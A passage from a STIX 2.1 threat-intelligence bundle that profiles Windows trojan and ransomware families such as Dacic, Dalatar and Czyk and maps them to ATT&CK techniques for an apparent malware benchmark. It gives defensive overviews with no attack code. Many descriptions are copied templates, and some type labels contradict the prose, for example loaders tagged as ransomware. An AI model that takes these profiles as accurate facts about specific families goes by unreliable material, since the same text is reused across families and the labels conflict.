task or modifying the Registry Run keys. Cypress frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Cypress reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cypress",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cypress"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ae14dd4-6453-5885-982c-7f94f5c75fdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e1e7c4-a4b5-5f16-ae22-52d7374f68cd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cypress exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--64b2fa5f-a987-576e-8b60-55cc04dc7040",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e1e7c4-a4b5-5f16-ae22-52d7374f68cd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cypress exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c422757e-4e06-50f0-82e7-e5ae7ad16730",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e1e7c4-a4b5-5f16-ae22-52d7374f68cd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cypress exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--287750e3-7d38-5a55-97f6-c958f5b232c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e1e7c4-a4b5-5f16-ae22-52d7374f68cd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cypress exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d06ffc5-8a0f-592f-8266-8d85aa192aab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e1e7c4-a4b5-5f16-ae22-52d7374f68cd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cypress exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6a1d20a3-aaa1-5d17-b5c3-7234152a68b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Czyk",
      "description": "Czyk (cataloged across endpoint protection engines and telemetry as Trojan:Win32/Czyk, Ransom:Win32/Czyk, and Trojan.Czyk) is a modular Windows trojan loader and extortion threat active since 2016. Often distributed through spam emails carrying weaponized archive attachments or deceptive software cracks, Czyk executes an obfuscated initial stager that conducts host reconnaissance before establishing encrypted command-and-control communication. Depending on operator instructions and victim profiling, Czyk can deploy secondary ransomware payloads to encrypt user files with AES/RSA encryption, display lockscreen ransom demands, or install persistent backdoor components into system directories to facilitate long-term unauthorized access. (Observed samples in benchmark: 32)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Czyk",
        "Ransom:Win32/Czyk",
        "Trojan.Czyk",
        "Win32/Czyk",
        "Trojan:Win32/Czyk.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Czyk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/czyk"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1cc95bd9-a149-5da2-bd9d-47044684fc66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "D0F3570C",
      "description": "Trojan:Win32/D0f3570c (or similar hash-based naming conventions) represents a generic or heuristic detection by an antivirus engine. Instead of identifying a specific malware family (like Emotet or Qakbot), this designation means the AV engine flagged the file as malicious based on its behavior, a machine-learning model, or a partial signature match. It operates as a generic loader or trojan, designed to establish a foothold and download further payloads (`T1105`).<br><br><b>Understanding Generic/Hash-Based Detections</b><br>To an end-user, the infection process is identical to any other trojan\u2014often silent and hidden. For a SOC analyst, a generic detection like 'D0f3570c' requires deeper investigation because the AV engine does not know the ultimate intent of the file. It is a red flag indicating malicious behavior, but lacks the context needed to predict whether the follow-on attack will be ransomware, a banking trojan, or a cryptominer.<br><br><b>Execution and Evasion Strategies</b><br>Because it is a generic detection, the execution mechanics can vary wildly. However, it typically arrives via spearphishing (`T1566.001`) or software vulnerabilities (`T1190`). Once executed, the trojan will attempt to establish persistence (usually via Registry Run keys or Scheduled Tasks) and use process injection (`T1055`) to hide its activity within legitimate Windows processes like `svchost.exe`. Its primary goal is to reach out to a C2 server to download and execute its true, secondary payload.<br><br><b>Indicators of Compromise (IoCs)</b><br>Since the name is generic, analysts must rely on behavioral IoCs generated by EDR. Look for unexpected child processes spawning from Office applications or web browsers (indicating the initial exploit). Monitor for unsigned executables writing to the Windows Registry Run keys, or executing out of temporary directories (`%Temp%`, `%AppData%`). Network IoCs will involve the initial beaconing activity to unknown, newly registered domains or direct IP addresses. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for D0F3570C",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/d0f3570c"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--877cd7c1-0a40-53d5-907e-686e57c4d42d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cc95bd9-a149-5da2-bd9d-47044684fc66",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "D0F3570C exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4aa9abab-3846-525c-9303-3724cce335e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cc95bd9-a149-5da2-bd9d-47044684fc66",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "D0F3570C exhibits technique T1055 (Process Injection (Hiding within legitimate system processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--626d1691-55e1-5a2f-878b-150beb1de754",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1cc95bd9-a149-5da2-bd9d-47044684fc66",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "D0F3570C exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2f40a0fd-55c4-5f2b-b269-6c294bab1f15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dacic",
      "description": "Trojan:Win32/Dacic is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dacic</b><br>To an end-user, a Dacic infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dacic is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dacic is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dacic frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dacic reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dacic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dacic"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f3802a5-3f59-5bdb-9c02-72668242c260",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f40a0fd-55c4-5f2b-b269-6c294bab1f15",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dacic exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1b7a767-ca15-5884-8195-350bfa7c777b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f40a0fd-55c4-5f2b-b269-6c294bab1f15",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dacic exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b0a6c9a-72cf-576a-89f5-9076812cde6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f40a0fd-55c4-5f2b-b269-6c294bab1f15",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dacic exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5e69c71-7004-5410-9c2c-c23c52645218",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f40a0fd-55c4-5f2b-b269-6c294bab1f15",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dacic exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e1120c7-8168-500a-ad64-05c512804261",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2f40a0fd-55c4-5f2b-b269-6c294bab1f15",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dacic exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--66a2e527-bff2-5608-91e6-d33056c65205",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dadobra",
      "description": "Trojan:Win32/Dadobra is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dadobra</b><br>To an end-user, a Dadobra infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dadobra is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dadobra is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dadobra frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dadobra reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dadobra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dadobra"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0396bf3a-e4f8-5f7f-8460-128e64cb4fca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66a2e527-bff2-5608-91e6-d33056c65205",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dadobra exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--492d4b37-aabf-56c5-92e7-0ca81c8ec6e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66a2e527-bff2-5608-91e6-d33056c65205",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dadobra exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--612e1f8f-a2af-5910-940d-2c257aad397e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66a2e527-bff2-5608-91e6-d33056c65205",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dadobra exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98eccd12-387c-5fc5-82d3-1b5a0bff5961",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66a2e527-bff2-5608-91e6-d33056c65205",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dadobra exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9fe5560-39fa-5c65-917a-7e93cb762032",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66a2e527-bff2-5608-91e6-d33056c65205",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dadobra exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a44ca50a-9723-555b-9382-b138c05e4d80",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dalatar",
      "description": "<h3>Executive Summary</h3>\nDalatar is a malicious Trojan engineered to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDalatar is predominantly distributed through socially engineered spear-phishing campaigns containing malicious attachments (often weaponized Microsoft Office documents utilizing malicious macros) or via compromised software installers downloaded from untrustworthy sources.\n\nUpon successful execution, Dalatar operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, network configuration, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Dalatar ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload upon user login.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Dalatar receives instructions from the C2 server to download and execute secondary malware. This frequently includes info-stealers (to harvest credentials), botnet agents, or ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Dalatar infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a compromised machine can quickly be utilized to pivot laterally across the corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Dalatar executable but also any secondary payloads it may have successfully downloaded.</li>\n<li><strong>Credential Reset:</strong> Because Dalatar often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint should be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Dalatar",
        "Downloader.Dalatar",
        "Win32/Dalatar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dalatar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dalatar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--781be7cd-f846-5b02-a4fd-c8845ce628d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a44ca50a-9723-555b-9382-b138c05e4d80",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalatar exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf8faade-efeb-5067-bb68-43c06372cf6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a44ca50a-9723-555b-9382-b138c05e4d80",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalatar exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--596971ec-583c-5c30-ad71-90a5f7f10f51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a44ca50a-9723-555b-9382-b138c05e4d80",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalatar exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3fb8839b-a839-5d05-8a64-3117f92dfc6b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dalbot",
      "description": "Trojan:Win32/Dalbot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dalbot</b><br>To an end-user, a Dalbot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dalbot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dalbot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dalbot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dalbot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dalbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dalbot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--990adc92-a508-5b60-85d3-ab793b978a35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fb8839b-a839-5d05-8a64-3117f92dfc6b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalbot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1ea6601c-9ba3-5f39-8afe-d03302e91186",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fb8839b-a839-5d05-8a64-3117f92dfc6b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalbot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--012abf15-dc21-5b2f-abc4-628970553f19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fb8839b-a839-5d05-8a64-3117f92dfc6b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalbot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0f7c20e1-cb19-52d2-b4a3-795f14624523",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fb8839b-a839-5d05-8a64-3117f92dfc6b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalbot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d4eeae9-b42f-5337-8f5c-56d5703b1ec3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fb8839b-a839-5d05-8a64-3117f92dfc6b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dalbot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--771f2fe8-5f06-58da-ba6f-e51106fbc8bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dalexis",
      "description": "Trojan:Win32/Dalexis is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dalexis</b><br>To an end-user, a Dalexis infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dalexis is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dalexis is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dalexis frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dalexis reaching out to compromised domains using encrypted HTTPS traffic. The presence of 